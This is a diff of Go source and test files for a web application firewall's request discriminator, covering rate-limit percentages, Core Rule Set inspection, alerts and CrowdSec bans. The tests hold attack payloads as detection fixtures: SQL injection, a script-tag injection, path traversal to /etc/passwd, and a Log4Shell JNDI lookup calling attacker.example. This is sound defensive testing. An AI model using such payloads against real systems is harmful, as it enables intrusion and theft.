 		{
 			"a blocklist that only limits",
 			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
 			listClient, http.StatusOK, requestlog.ActionForward,
 		},
 		{
 			"over a rate limit on an exempt path",
 			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
 			countClient, http.StatusOK, requestlog.ActionForward,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			synctest.Test(t, func(t *testing.T) {
 				server, out := newDiscriminatorInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 				status, took := askDirectly(t, server, func(*http.Request) {})
 				if status != tc.status || took != defaultLookupWait {
 					t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
 						status, took, tc.status, defaultLookupWait, out.text())
 				}
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
 			})
 		})
 	}
 }
 func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 	t *testing.T,
 ) {
 	t.Parallel()
 	held, askedGeoJS, _ := startHeldGeoJS(t)
 	// A resolver that takes every query and answers none.
 	resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	t.Cleanup(func() { _ = resolver.Close() })
 	server, out, _ := newDiscriminatorWith(t, func(
 		params discriminator.Params,
 	) *discriminator.Server {
 		params.AbuseIPDBURL = silentAbuseIPDBURL
 		return discriminator.New(params)
 	}, held, time.Now, map[string]string{
 		deniedCountries: "KP", wafMode: block,
 		dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
 		abuseIPDBKey:  accountKey,
 		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
 		crowdSecURL: held, crowdSecKey: bouncerKey,
 	})
 	// AbuseIPDB is asked only about a client with an offence.
 	group := netip.MustParsePrefix(client + "/32")
 	server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
 	go server.Lists.Run(t.Context())
 	status, took := askDirectly(t, server, func(req *http.Request) {
 		req.Header.Set("User-Agent", "test")
 		req.Header.Set("Accept", "*/*")
 		req.Host = siteA
 	})
 	if status != http.StatusOK || took >= answerTimeLimit {
 		t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
 			status, took, http.StatusOK, answerTimeLimit, out.text())
 	}
 	// Each outside source was asked, and none has answered. The stand-in for
 	// GeoJS is the lists' too, which name no address.
 	if !slices.Contains(askedGeoJS(), client) {
 		t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
 	}
 	if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
 		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
 	}
 	if checked := server.AbuseIPDB.Checked(); checked != 1 {
 		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
 	}
 }
@@ -1,119 +0,0 @@
 package discriminator
 import (
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 // whole is the percentage of each limit a client gets when no biased
 // threshold lowers its limits.
 const whole = 100
 // percentage is a client's limit percentage for the rate limits or for
 // the byte limits, as the biased thresholds give it, and the setting that
 // gave it: "" with whole when none lowers that kind of limit.
 type percentage struct {
 	percent int64
 	setting string
 }
 // biasedThresholdsSet reports whether a biased threshold can lower a
 // client's limits: one of its lists is not empty,
 // SWW_UNKNOWN_LIMIT_PERCENT is below 100, or SWW_ASN_LIMIT_PERCENT_URL
 // is set. The client's lookup is then needed before its request goes on.
 func biasedThresholdsSet(cfg *config.Config) bool {
 	return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
 		len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
 		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
 }
 // limitPercentages returns the client's limit percentages, for the rate
 // limits and for the byte limits, by its AS number and country as looked
 // up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
 // that list it. Each is the lowest of those the settings give it, the
 // first of them in the order below when several are lowest: the
 // percentage SWW_ASN_LIMIT_PERCENT gives its AS number, the one the file
 // SWW_ASN_LIMIT_PERCENT_URL names gives it, the one
 // SWW_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
 // country, unless its request skipped the wait for GeoJS,
 // SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
 // percentage of SWW_BLOCKLIST_ACTION while it is limit, and for a client
 // a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
 // percentage of SWW_REPUTATION_ACTION while it is limit. For the byte
 // limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT take the
 // place of the first three for an AS number or a country they list.
 func (rq *request) limitPercentages() (percentage, percentage) {
 	cfg := rq.h.config
 	asn, country := rq.line.ASN, rq.line.Country
 	unknown := percentage{percent: whole}
 	if country == "" && !rq.skippedLookupWait {
 		unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
 	}
 	fetched := percentage{percent: whole}
 	if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
 		fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
 	}
 	blocklisted := percentage{percent: whole}
 	if rq.blocklisted && cfg.BlocklistAction == "limit" {
 		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
 	}
 	reputationListed := percentage{percent: whole}
 	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
 		reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
 	}
 	asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWW_ASN_LIMIT_PERCENT"),
 		fetched)
 	countryRequests := given(cfg.CountryLimitPercent, country,
 		"SWW_COUNTRY_LIMIT_PERCENT")
 	asnBytes, countryBytes := asnRequests, countryRequests
 	if _, listed := cfg.ASNBytesPercent[asn]; listed {
 		asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
 	}
 	if _, listed := cfg.CountryBytesPercent[country]; listed {
 		countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
 	}
 	return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
 		lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
 }
 // given returns the percentage percents, the setting named setting, gives
 // code, an AS number or a country, or whole when it does not list code.
 func given(percents map[string]int64, code, setting string) percentage {
 	percent, listed := percents[code]
 	if !listed {
 		return percentage{percent: whole}
 	}
 	return percentage{percent, setting}
 }
 // lowest returns the lowest of percentages below whole, the first of them
 // when several are lowest, or whole when none is below it.
 func lowest(percentages ...percentage) percentage {
 	low := percentage{percent: whole}
 	for _, p := range percentages {
 		if p.percent < low.percent {
 			low = p
 		}
 	}
 	return low
 }
 // logged returns p as the log line and the notes of a ban give it: its
 // percent and setting, or nil and "" for whole, which they leave out.
 func (p percentage) logged() (*int64, string) {
 	if p.percent == whole {
 		return nil, ""
 	}
 	return &p.percent, p.setting
 }
@@ -1,62 +0,0 @@
 package discriminator
 import (
 	"crypto/rand"
 	"net/http"
 	"net/netip"
 	"slices"
 )
 // peerAddress is the address of the request's TCP peer.
 func peerAddress(r *http.Request) netip.Addr {
 	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
 	if err != nil {
 		return netip.Addr{}
 	}
 	return addrPort.Addr().Unmap()
 }
 // requestIDHeader carries the request's id, from rproxy.
 const requestIDHeader = "X-Request-ID"
 // requestID is the request's id: the one a question gives, or for any other
 // request a new random one.
 func requestID(r *http.Request, isQuestion bool) string {
 	if isQuestion {
 		return r.Header.Get(requestIDHeader)
 	}
 	return rand.Text()
 }
 // scheme is how the visitor reached rproxy, or the trusted proxy in front of
 // it, as a question says in X-Forwarded-Proto, or otherwise http.
 func scheme(r *http.Request, isQuestion bool) string {
 	proto := r.Header.Get("X-Forwarded-Proto")
 	if !isQuestion || proto == "" {
 		return "http"
 	}
 	return proto
 }
 // clientGroup is the client a request is counted toward: its IPv4
 // address, or its IPv6 group, the netblock its IPv6 address is in of the
 // length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
 // usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
 func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
 	addr = addr.Unmap()
 	if addr.Is6() {
 		return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
 	}
 	return netip.PrefixFrom(addr, addr.BitLen())
 }
 // isInside reports whether addr is in one of the netblocks.
 func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
 		return netblock.Contains(addr)
 	})
 }
@@ -1,88 +0,0 @@
 package discriminator
 import (
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 // checkCoreRuleSet inspects the request with the Core Rule Set, unless
 // SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
 // pathExempt decides, and notes the rules it matched and its score in the
 // log line, and the rules in the metrics. A score at or over
 // SWW_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
 // and in block mode refuses the request, which is an offence its client's
 // history counts, and so returns ActionWAFBlocked. It returns "" for a
 // request it does not refuse.
 func (rq *request) checkCoreRuleSet() string {
 	cfg := rq.h.config
 	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
 		return ""
 	}
 	start := time.Now()
 	// A question's body has been read into memory, so that reading it here
 	// cannot fail.
 	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
 	rq.requestBytes = int64(len(read))
 	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
 	rq.line.WAFRuleIDs = result.RuleIDs
 	rq.line.WAFScore = &result.Score
 	for _, id := range result.RuleIDs {
 		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
 	}
 	threshold := cfg.WAFAnomalyThreshold
 	if threshold == 0 || result.Score < threshold {
 		return ""
 	}
 	rq.alertWAFBlock(result)
 	if cfg.WAFMode == config.WAFModeDetect {
 		return ""
 	}
 	rq.wafBlocked = true
 	return requestlog.ActionWAFBlocked
 }
 // alertWAFBlock raises the waf_block alert for the request, which the Core
 // Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
 // detail gives the rule ids, the score, the method and the path with the
 // query, and, for a request that is not refused for it, the mode: detect,
 // or observe in observe mode.
 func (rq *request) alertWAFBlock(result waf.Result) {
 	detail := map[string]any{
 		"rule_ids": result.RuleIDs,
 		"score":    result.Score,
 		"method":   rq.in.Method,
 		"path":     rq.in.URL.RequestURI(),
 	}
 	switch {
 	case rq.h.config.WAFMode == config.WAFModeDetect:
 		detail["mode"] = config.WAFModeDetect
 	case rq.h.config.Observe:
 		detail["mode"] = "observe"
 	}
 	rq.h.alerts.Raise(alerts.Alert{
 		Event:    alerts.EventWAFBlock,
 		Host:     rq.site,
 		Client:   rq.client,
 		Netblock: rq.h.clientGroup(rq.client),
 		ASN:      rq.line.ASN,
 		ASName:   rq.line.ASName,
 		Country:  rq.line.Country,
 		Reason:   "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
 		Detail:   detail,
 	})
 }
@@ -1,480 +0,0 @@
 package discriminator_test
 import (
 	"io"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strconv"
 	"strings"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
 // its two modes that inspect requests.
 const (
 	wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
 	wafDisabledRules    = "SWW_WAF_DISABLED_RULES"
 	wafExemptPaths      = "SWW_WAF_EXEMPT_PATHS"
 	wafBodyLimit        = "SWW_WAF_BODY_LIMIT"
 	block               = "block"
 	detect              = "detect"
 )
 // formData is the type of a form's body.
 const formData = "application/x-www-form-urlencoded"
 // sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
 // setting.
 const (
 	sizeLimit        = 1 << 10
 	sizeLimitSetting = "1K"
 )
 // sqlInjection asks for / with an SQL injection in its query, which only
 // the Core Rule Set's rule 942100 matches, with a score of 5, the default
 // SWW_WAF_ANOMALY_THRESHOLD.
 const sqlInjection = "/?id=1'%20OR%20'1'='1"
 // wantWAF checks the request log line's waf_rule_ids and waf_score, and
 // that it has duration_waf, or with no score, that it has none of the
 // three: the Core Rule Set did not inspect the request.
 func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
 	t.Helper()
 	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
 		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
 	}
 	switch {
 	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
 		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
 			line.fields["waf_score"], line.fields["duration_waf"])
 	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
 		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
 	case score != nil && line.DurationWAF == nil:
 		t.Error("log line has no duration_waf")
 	}
 }
 func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
 	t.Parallel()
 	for _, attack := range []struct {
 		name, path, header string
 		ruleIDs            []int
 		score              int
 	}{
 		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
 		{
 			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
 			[]int{941100, 941110, 941160, 941390}, 20,
 		},
 		{
 			"path traversal in the path", "/files/../../etc/passwd", "",
 			[]int{930100, 930110}, 10,
 		},
 		{
 			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
 			[]int{944150}, 5,
 		},
 		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
 		{
 			// Coraza keeps the first 1000 query parameters.
 			"SQL injection after 1000 query parameters",
 			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
 			[]int{900300}, 5,
 		},
 	} {
 		t.Run(attack.name, func(t *testing.T) {
 			t.Parallel()
 			for _, tc := range []struct {
 				mode, action string
 				status       int
 			}{
 				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
 				{detect, requestlog.ActionForward, http.StatusOK},
 			} {
 				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
 				line := s.requestWithHeader(client, attack.path, attack.header,
 					tc.status, tc.action)
 				wantWAF(t, line, &attack.score, attack.ruleIDs...)
 			}
 		})
 	}
 }
 func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
 	t.Parallel()
 	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
 		http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, new(0))
 }
 func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 	t *testing.T,
 ) {
 	t.Parallel()
 	const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
 	s, _, _ := startWithClock(t, "", map[string]string{
 		wafMode:        block,
 		wafExemptPaths: "/api/",
 		allowNets:      allowed,
 		rulesDir:       writeRules(t, testRules),
 	})
 	// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
 	// exempts, are not inspected.
 	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, nil)
 	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
 		requestlog.ActionForward)
 	wantWAF(t, line, nil)
 	// The prefix is matched as rate limit exempt paths are: a path that
 	// goes up and out of it is inspected.
 	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
 		requestlog.ActionWAFBlocked)
 	wantWAF(t, line, new(25), 930100, 930110, 942100)
 	// A request a rule file refuses is not inspected.
 	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
 		requestlog.ActionRuleBlocked)
 	wantWAF(t, line, nil)
 	// With SWW_WAF_MODE off, no request is.
 	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
 	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, nil)
 }
 func TestAnomalyThreshold(t *testing.T) {
 	t.Parallel()
 	// A score under the threshold, or with the threshold off, is logged,
 	// and refuses nothing.
 	for _, threshold := range []string{"6", off} {
 		s, _, _ := startWithClock(t, "", map[string]string{
 			wafMode: block, wafAnomalyThreshold: threshold,
 		})
 		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 		wantWAF(t, line, new(5), 942100)
 	}
 	s, _, _ := startWithClock(t, "", map[string]string{
 		wafMode: block, wafAnomalyThreshold: "5",
 	})
 	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
 }
 func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 	t.Parallel()
 	for _, request := range []struct {
 		name, method, path, header string
 		// ruleIDs are the rules that match the request with none
 		// switched off.
 		ruleIDs []int
 	}{
 		{
 			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
 			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
 			[]int{920420, 930130},
 		},
 		{
 			"package upload without a type", http.MethodPut,
 			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
 			[]int{920340},
 		},
 		{
 			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
 			[]int{920440},
 		},
 		{
 			"an editor's settings", http.MethodGet,
 			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
 		},
 	} {
 		t.Run(request.name, func(t *testing.T) {
 			t.Parallel()
 			body := ""
 			if request.method != http.MethodGet {
 				body = "push"
 			}
 			// By default, the rules are switched off.
 			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 			line, _ := s.requestWithBody(request.method, client, request.path,
 				request.header, body, http.StatusOK, requestlog.ActionForward)
 			wantWAF(t, line, new(0))
 			// A list given replaces the default.
 			s, _, _ = startWithClock(t, "", map[string]string{
 				wafMode: block, wafDisabledRules: "942100",
 			})
 			score := 5 * len(request.ruleIDs)
 			line, _ = s.requestWithBody(request.method, client, request.path,
 				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
 			wantWAF(t, line, &score, request.ruleIDs...)
 			// And switches off the rules it lists.
 			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 			wantWAF(t, line, new(0))
 		})
 	}
 }
 func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
 	t.Parallel()
 	const body = "id=1'%20OR%20'1'='1"
 	header := "Content-Type: " + formData + "\r\nContent-Length: " +
 		strconv.Itoa(len(body))
 	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
 	line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
 		http.StatusOK, requestlog.ActionForward)
 	wantWAF(t, line, new(0))
 	s, _, _ = startWithClock(t, "", map[string]string{
 		wafMode: block, wafBodyLimit: sizeLimitSetting,
 	})
 	line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
 		http.StatusForbidden, requestlog.ActionWAFBlocked)
 	wantWAF(t, line, new(5), 942100)
 }
 func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
 	t.Parallel()
 	// The app answers with the body it was sent, once it has the whole of
 	// it: Go's server reads no more of a body once the answer has begun.
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		body, _ := io.ReadAll(r.Body)
 		_, _ = w.Write(body)
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{
 		wafMode: block, wafBodyLimit: sizeLimitSetting,
 	})
 	longer := "a=" + strings.Repeat("b", 64*sizeLimit)
 	for i, tc := range []struct {
 		name, contentType, body string
 		// announced sends the body's length in Content-Length; otherwise
 		// the body is sent in chunks with no length given.
 		announced bool
 	}{
 		{"form data within the limit", formData, "a=b", true},
 		{"form data longer than the limit", formData, longer, true},
 		{"form data longer than the limit, not announced", formData, longer, false},
 		{
 			"JSON larger than the limit", "application/json",
 			`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
 		},
 		{
 			"a binary body", "application/octet-stream",
 			strings.Repeat("\x00\xff", sizeLimit), true,
 		},
 	} {
 		// A reader whose length the client cannot tell is sent in chunks.
 		var body io.Reader = strings.NewReader(tc.body)
 		if !tc.announced {
 			body = io.MultiReader(body)
 		}
 		req := newRequest(t, http.MethodPost, addr, "/", body)
 		req.Header.Set("Content-Type", tc.contentType)
 		got := do(t, req)
 		if got.status != http.StatusOK || string(got.body) != tc.body {
 			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
 				tc.name, len(got.body), got.status, len(tc.body))
 		}
 		line := out.endedLines(t, i+1)[i]
 		wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 		if line.RequestBytes != int64(len(tc.body)) {
 			t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
 				line.RequestBytes, len(tc.body))
 		}
 	}
 }
 func TestResponsesAreNotInspected(t *testing.T) {
 	t.Parallel()
 	// A raw shell script, and an SQL error, which the Core Rule Set's rules
 	// for responses take for a leak.
 	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
 		"You have an error in your SQL syntax; check the manual that " +
 		"corresponds to your MySQL server version\n"
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = w.Write([]byte(page))
 	})
 	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
 	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
 	if got.status != http.StatusOK || string(got.body) != page {
 		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
 	}
 	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
 }
 func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{
 		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
 	})
 	for range 2 {
 		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
 	}
 	// The third refusal in a minute breaks the error burst, and bans the
 	// client.
 	line := s.request(client, sqlInjection, http.StatusForbidden,
 		requestlog.ActionWAFBlocked)
 	if line.LimitHit != requestlog.LimitHitErrorBurst ||
 		line.Offence != requestlog.OffenceLimit {
 		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
 			line.LimitHit, line.Offence)
 	}
 	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
 	if offences := historyOf(t, server, client).Offences; offences != want {
 		t.Errorf("history counts the offences %+v, want %+v", offences, want)
 	}
 	metrics := s.scrape()
 	wantMetric(t, metrics,
 		`sww_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
 	wantMetric(t, metrics,
 		`sww_offences_total{instance="app",kind="waf_blocked"}`, 3)
 	wantMetric(t, metrics, `sww_requests_total{action="waf_blocked",`+
 		`instance="app",status_class="4xx"}`, 3)
 }
 func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{
 		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
 	})
 	for range 3 {
 		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	}
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	offences := historyOf(t, server, client).Offences
 	if offences != (ratelimit.Offences{}) {
 		t.Errorf("history counts the offences %+v, want none", offences)
 	}
 	metrics := s.scrape()
 	wantMetric(t, metrics,
 		`sww_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
 	wantNoSeries(t, metrics,
 		`sww_offences_total{instance="app",kind="waf_blocked"}`)
 }
 func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
 	t.Parallel()
 	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
 	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
 	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
 	wantWAF(t, line, new(5), 942100)
 	// It is an offence as in enforce mode.
 	want := ratelimit.Offences{WAFBlocked: 1}
 	if offences := historyOf(t, server, client).Offences; offences != want {
 		t.Errorf("history counts the offences %+v, want %+v", offences, want)
 	}
 }
 func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		env  map[string]string
 		// status and action are what the request is answered and logged
 		// with, and alertMode what the alert's detail gives as mode, if
 		// anything.
 		status            int
 		action, alertMode string
 	}{
 		{
 			"block", map[string]string{wafMode: block},
 			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
 		},
 		{
 			"detect", map[string]string{wafMode: detect},
 			http.StatusOK, requestlog.ActionForward, detect,
 		},
 		{
 			"block in observe mode", map[string]string{wafMode: block, mode: observe},
 			http.StatusOK, requestlog.ActionForward, observe,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			s, clk, _, queue := startWithAlerts(t, tc.env)
 			// The second is a repeat, which the cooldown holds back, and an
 			// ordinary request raises none.
 			for range 2 {
 				s.request(client, sqlInjection, tc.status, tc.action)
 			}
 			s.get(client, http.StatusOK, requestlog.ActionForward)
 			detail := map[string]any{
 				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
 				"path": sqlInjection,
 			}
 			if tc.alertMode != "" {
 				detail["mode"] = tc.alertMode
 			}
 			wantAlerts(t, queue, alerts.Alert{
 				Instance: alertInstance,
 				Time:     clk.Now(),
 				Event:    alerts.EventWAFBlock,
 				Host:     appHost,
 				Client:   netip.MustParseAddr(client),
 				Netblock: netip.MustParsePrefix(client + "/32"),
 				Reason:   "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
 				Detail:   detail,
 			})
 			if queue.Suppressed() != 1 {
 				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
 			}
 		})
 	}
 }
@@ -1,181 +0,0 @@
 package discriminator_test
 import (
 	"net/http"
 	"net/netip"
 	"reflect"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // The CrowdSec settings, and the tests' engine, which is never asked: each
 // test puts in the copy of its decision list, at decisionsURL, that it
 // needs, as reputation.json would at start.
 const (
 	crowdSecURL  = "SWW_CROWDSEC_LAPI_URL"
 	crowdSecKey  = "SWW_CROWDSEC_LAPI_KEY"
 	lapi         = "http://crowdsec.example:8080"
 	decisionsURL = lapi + "/v1/decisions"
 	bouncerKey   = "crowdsec-key-0123456789abcdef"
 )
 func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
 	t.Parallel()
 	s, clk, server, queue := startWithAlerts(t, map[string]string{
 		crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
 	})
 	// client had four hours left on its decision as the engine answered.
 	fetched := clk.Now()
 	loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
 		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
 		`"value": "`+client+`"}]`)
 	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
 	// Its first request is refused, and bans it until the decision ends.
 	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 	wantReputation(t, line, decisionsURL)
 	if line.BanExpires != expires {
 		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
 	}
 	listed := []bans.ReputationHit{{Source: decisionsURL}}
 	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
 		!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
 		held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
 		!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
 		held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
 		t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
 			"the request in its notes", held)
 	}
 	// The listing raises a reputation_hit alert, and the ban its own.
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
 		waiting[0].Reason != "listed by the CrowdSec decision list" ||
 		!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
 			expires)) {
 		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
 			waiting)
 	}
 	// Each request while the ban lasts is refused under it, as under any
 	// ban, and once it has ended the client is let through.
 	clk.advance(4*time.Hour - time.Second)
 	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 	wantReputation(t, line)
